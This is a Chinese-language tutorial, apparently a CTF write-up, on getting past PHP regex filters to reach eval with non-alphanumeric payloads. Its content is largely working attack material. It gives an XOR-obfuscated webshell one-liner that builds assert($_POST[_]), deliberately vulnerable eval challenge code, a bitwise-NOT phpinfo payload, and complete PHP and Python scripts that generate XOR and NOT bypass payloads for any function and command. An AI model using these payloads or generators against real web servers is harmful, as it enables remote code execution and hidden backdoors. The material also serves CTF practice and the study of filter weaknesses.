目录
php特性
(1)代码中没有引号的字符都自动作为字符串
php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。这也是为什么传马的时候
$_GET['cmd']
和$_GET[cmd]
都可以
(2)Ascii码大于 0x7F 的字符都会被当作字符串
(3)php 在获取 HTTP GET 参数的时候默认是获得到了字符串类型
(4)PHP中的的大括号(花括号{})
$str{4}
在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理
${_GET}{cmd}
(5)字符串可以用!操作符来进行布尔类型的转换
<?php
var_dump(@a); //string(1) "a"
var_dump(!@a); //bool(false)
var_dump(!!@a); //bool(true)
(6)PHP的弱类型特性
因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true2,也就是('>'>'<')+('>'>'<')2
(7)a-zA-Z使用自增变成下一个字母
'a'++ => 'b'
,'b'++ => 'c'
(8)版本问题
php5中assert是一个函数,我们可以通过
$f='assert';$f(...);
这样的方法来动态执行任意代码。但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
else{
exit('coleak');
}
?>
异或|取反
在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
UTF-8编码的某个汉字,并将其中某个字符取出来,比如
'和'{2}
的结果是"\x8c"
,其取反即为字母s。要获取'和'{2}
,就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2
,也就是('>'>'<')+('>'>'<')==2
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
数组连接转换
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为
Array,
再取这个字符串的第一个字母,就可以获得'A'了。
php7|执行动态函数
PHP 5 和 PHP 7 的区别
(1)在 PHP 5 中,
assert()
是一个函数,我们可以用$_=assert;$_()
这样的形式来实现代码的动态执行。但是在 PHP 7 中,assert()
变成了一个和eval()
一样的语言结构,不再支持上面那种调用方法。(但是好像在 PHP 7.0.12 下还能这样调用)(2)PHP5中,是不支持
($a)()
这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写('phpinfo')();
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
code=(~%8F%97%8F%96%91%99%90)();
异或绕过的脚本
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; // 根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
def action(arg):
s1=""
s2=""
for i in arg:
f=open('xor_rce.txt',"r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%09%0b%03%0f%0e%06%09%07"^"%60%7b%60%60%60%60%60%60");
URL 编码取反绕过脚本
<?php
//在命令行中运行
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';